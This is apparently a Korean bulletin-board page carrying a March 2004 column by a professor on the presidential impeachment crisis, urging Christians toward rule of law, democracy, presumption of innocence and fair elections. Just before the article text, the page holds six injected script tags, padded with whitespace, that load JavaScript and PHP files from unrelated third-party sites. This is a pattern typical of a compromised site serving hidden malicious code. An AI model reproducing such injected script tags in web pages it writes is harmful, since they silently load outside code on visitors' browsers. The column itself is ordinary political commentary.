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칼럼 [백종국 칼럼]탄핵사태와 시대혼란을 극복하는 방법

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작성자 by 관리자 / 작성일04-03-25 13:50 / 조회 5,181 / 댓글0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    탄핵사태와 시대혼란을 극복하는 방법

하나님의 원칙 기준으로...4,15총선 과정 공정성도 주목
                                          2004년 03월 24일
 
 
 
지난 3월 12일에 대한민국 국회는 법률에 따라 대한민국의 대통령을 탄핵하였다. 이제는 법이 정한 절차에 따라 헌법재판소의 심판을 기다리고 있는 중이다. 만일 헌법재판소의 재판관들이 2/3의 의결로 탄핵을 정당하다고 판결하면 대한민국은 역사상 처음으로 법이 정한 절차에 따라 하야한 대통령을 가지게 될 것이다.

법적 절차로 보아서는 별 문제될 것이 없는 사건인 것처럼 보이지만 기실 이 사건으로 한국은 다시 극심한 정치적 혼란기로 접어들고 있다.  탄핵을 반대하는 사람들과 탄핵을 찬성하는 사람들이 마치 해방 정국의 신탁통치 문제에 있어서처럼 찬성과 반대로 뚜렷이 나눠지고 있다. 여론 조사를 참조해 보면 대체적으로 신구 세대가 나눠져서 국회의 대통령 탄핵을 두고 논쟁과 항의와 시위를 거듭하고 있다. 

격렬한 국제경쟁의 시대를 살아가야 하는 우리로서는 참으로 유감스러운 상황이 아닐 수 없다. 이러한 상황에서 그리스도인들의 행동은 매우 중요하다. 왜냐하면 기독교적 삶의 기준은 이 땅의 당파적 이해가 아니라 천지를 창조하신 하나님의 속성에 기초하기 때문이다. 당연히 한국의 그리스도인들이 취한 태도는 여타 시민들에게 귀감이 될 수밖에 없고 또 되어야 한다.  만일 참된 진리를 따르는 우리들조차도 눈앞에 전개되는 당파적 이해와 세속적 이데올로기에 함몰된다면 후에 우리가 그리스도 앞에 설 때 도대체 무어라고 변명하겠는가?
 
인애와 공평과 정직의 하나님을 따르자

하나님께서 우리에게 명령하신 행동의 준칙은, 예레미야서 9장 23절과 24절에서 말씀하신 바와 같이, “이 땅위에서 인애와 공평과 정직을 실천하라”는 것이다. 그리스도인으로 자처하는 어떤 자라도 여기에서 벗어나면 일단 의심을 받을 수밖에 없다. 예컨대, 공명선거는 하나님의 뜻이므로 여기에서 벗어나는 어떠한 후보자나 유권자도 하나님의 심판을 면치 못할 것이다. 당명에 그리스도의 이름을 넣거나 설혹 교회의 이름을 걸었다고 할지라도 마찬가지이다. 국회의 대통령 탄핵이 몰고 온 혼란을 극복하는 기준도 이 인애와 공평과 정직의 실천에 있다.
 
올바른 그리스도인이라면 대체적으로 법치주의를 선호하기 마련이다. 인간은 변덕스럽기 때문에 인격체를 기준으로 정의와 공평을 구현하기 힘들다. 물론, 법을 마련할 필요없이 하나님께서 직접 다스리시면 제일 좋겠지만 불행하게도 하나님께서는 우리에게 법과 질서와 제도를 허락하셨다. 하나님께서 직접 다스리시던 출애굽의 기간 중에 이스라엘의 법이 선포된 것만 보아도 잘 알 수 있다.

일단 우리가 인정하는 법이 있다면 이 법으로 초래된 결과에 승복하는 자세가 필요하다. 우리의 법률이 국회에서 대통령을 탄핵하게 되어 있으면 그 결과에 따르는 게 좋다. 한 표라도 많은 표를 얻은 대통령 후보가 대통령이 된다는 법을 세웠으면 마음에 안 들더라도 다수 득표자를 대통령으로 받아들이는 게 좋다. 현재 벌어지고 있는 혼란의 근원은 우리 모두에게 바로 이 승복하는 자세가 부족하다는 데에 있다. 법치주의에 익숙한 외국인들의 눈으로 보면 우리 대부분은 우리 스스로가 세운 질서의 결과에 승복하지 못하는 철면피하고 어리석은 백성들임에 틀림없다.

올바른 그리스도인이라면 민주주의를 선호할 수밖에 없다. 인간이 잘못되면 법으로 치유하지만 법이 잘못되면 무엇이 치유할 것인가? 민주주의란 바로 이 법과 인간 사이를 상호적으로 보완해주는 통치의 원리이다. 물론, 인간은 유한하기 때문에 그들이 만든 법도 유한하다. 일단 법이 다스리도록 하지만 법이 잘못되면 인간들이 합의로 교정한다. 다수 국민의 의사에 반한 법을 교정할 수 없는 체제는 불행하다. 오직 폭력만이 해답이 되기 때문이다.

이러한 점에서 보면 이번 탄핵사건이 4월 총선을 며칠 안 두고 발생한 게 참으로 다행이다. 현행 헌법은 대통령의 권한을 과도하게 제한하고 국회의원의 지위는 과도하게 보장하는 경향이 있다. 예컨대, 국회의원은 2/3 의결로 대통령을 탄핵할 수 있으나 국회의원은 오직 그들 자신의 2/3 의결로만 제명할 수 있다.

정상적이라면 대통령은 국회의원이 탄핵할 수 있겠지만 그 국회의원은 국민들이 소환할 수 있어야 한다. 현행 헌법은 그 점에서 대통령과 국회의원의 탄핵에 국민들이 개입할 수 있는 여지를 막아놓은 악법이라고 말할 수 있다. 이번 사태가 폭력으로 치닫지 않을 수 있었던 것은 오로지 그 국회의원들을 교체할 수 있는 기회가 얼마 남지 않았다는 희망 때문이라고 말할 수 있다.

올바른 그리스도인들이라면 무죄추정의 원칙을 중시한다. 검사의 기소만으로 죄인 취급을 하지 않고 신문에 보도되었다고 해서 모두 진실이라고 생각하지 않는다. 하나님의 선물인 양심과 그가 허락해주신 지식을 동원하여 진실 여부를 검토하는 자세를 가지게 된다. 단지 검찰이 정치자금에 대한 수사의 결과를 말했을 뿐인데도 불구하고 그토록 검찰의 수사를 신뢰하는 국민들은 도대체 어떤 사람들인가? 이 모든 혐의는 피의자가 자신을 변호할 수 있는 기회를 충분히 가진 후에야 판단되어야 한다. 때론 역사적 지식이 무죄추정의 원칙을 유지하게 하는 데 도움이 된다.

예컨대, 노무현 대통령이 정치적 목적을 노리고 순진한 야당을 격분시켜 탄핵을 유도하였다는 “탄핵유도설”은 마치 미국이 동북아의 패권을 노리고 북한으로 하여금 남침하도록 빈틈을 만들어주므로서 한국전쟁을 유발하게 되었다는 “남침유도설”을 떠올리게 한다. 전자는 노무현 대통령에 대한 무조건적인 증오를 후자는 미국에 대한 무조건적인 증오를 정당화하기 위해 만들어낸 궤변들이라고 말할 수 있다. 
 
약간의 추가적 지혜들에 대하여

여론의 공정하고 자유로운 반영은 모든 그리스도인들의 관심사이다. 찬성이든 반대이든 시위가 평화적이기만 하면 각자의 목소리를 내도록 허락하는 게 좋다. 조용히 앉아서 헌법재판소의 심판을 기다리자는 노년층의 의견도 경청할만하다. 그러나 자신의 지지로 당선된 대통령이 그들의 의사와는 상관없이 야당이 지배하는 국회에서 탄핵 당했다는 데 대해 울분을 금치 못하는 청년들에게 그 울분을 정당하게 발산하는 계기를 마련해주는 것도 좋은 일이다.

다행히도 지금까지의 상황으로 보아 한국 사회는 이 정도의 상황은 감당할 만큼 성숙되어 있음을 보여주고 있다. 역으로 언론의 선정주의는 여론의 다수파를 형성하는 정파나 세대들에 대해 과도한 관심을 가질 수 있다. 언론 매체들에 종사하는 그리스도인들은 당파적 경향에 따라 언론의 공정성이 훼손되지 않도록 최선의 노력을 다해야 한다.

적지 않은 사람들이 2004년 3월의 한국을 1900년의 조선과 비교하고 있는 데 이러한 역사적 교훈도 도움이 된다. 그 때에도 국제질서가 재편되면서 한반도를 둘러싼 강대국들의 경쟁이 격화되고 있었다.  중국과 러시아와 일본과 미국이 동북아의 패권을 노리면서 한반도의 지배를 그 중요한 단계로 생각하고 있었다. 지금의 형편과 어쩌면 그리 유사한지 등골이 오싹할 지경이다. 조선 정부가 개화파와 수구파로 나뉘어져 혈투를 벌이고 있는 장면도 사람만 바뀌었을 뿐이지 거의 다름이 없어 보인다.

좀 다른 점이 있다면, 그 때는 수구파의 정권을 무너뜨리기 위해 개화파가 일본을 등에 업고 '갑신정변' 이라는 쿠테타를 일으켰지만 지금은 개혁파의 정권을 무너뜨리기 위해 미국과의 혈맹을 강조하는 수구파가 3·12 대통령 탄핵이라는 대반격을 시도하였다는 점이라고 할 수 있다.  물론 피차가 다 국민을 위한다는 명분을 내세우면서도 사실상 국민의 뜻보다는 정파의 이해를 먼저 고려했다는 점에서 완벽하게 일치하고 있다.

다가오는 4월 15일의 총선은 이러한 점에서 어느 때 보다 중요한 선거가 되고 있다. 현재의 여론 추이로 본다면 해방 이후에 면면히 이어져온 세대교체가 그 절정에 이르게 될 것으로 보인다. 이미 주요 정당의 공천이 이러한 세대교체를 증명하고 있을 뿐 아니라, 지배 세력의 교체도 이루어질 것으로 보인다. 상식적인 일이지만 이럴 때 일 수록 선거과정의 공정성 유지가 정말 중요하다. 평소에는 용인될 수 있는 조그마한 불공정성일찌라도 이처럼 중요한 정치과정에서는 선거결과를 부정하는 폭발적인 계기로 작용할 수 있기 때문이다.

민주주의란 승자와 패자를 정당하게 대우하므로서 체제의 일치성을 유지하는 체제라는 점을 잊어서는 안 된다. 현명한 그리스도인들이라면 단지 자신의 마음에 드는 특정한 정당이나 후보를 지지할 뿐만 아니라 선거과정 전체가 공정하게 이루어지는 일에 깊이 참여하여야 할 것이다.

백종국 교수(경상대학교, 교회개혁실천연대 공동대표)
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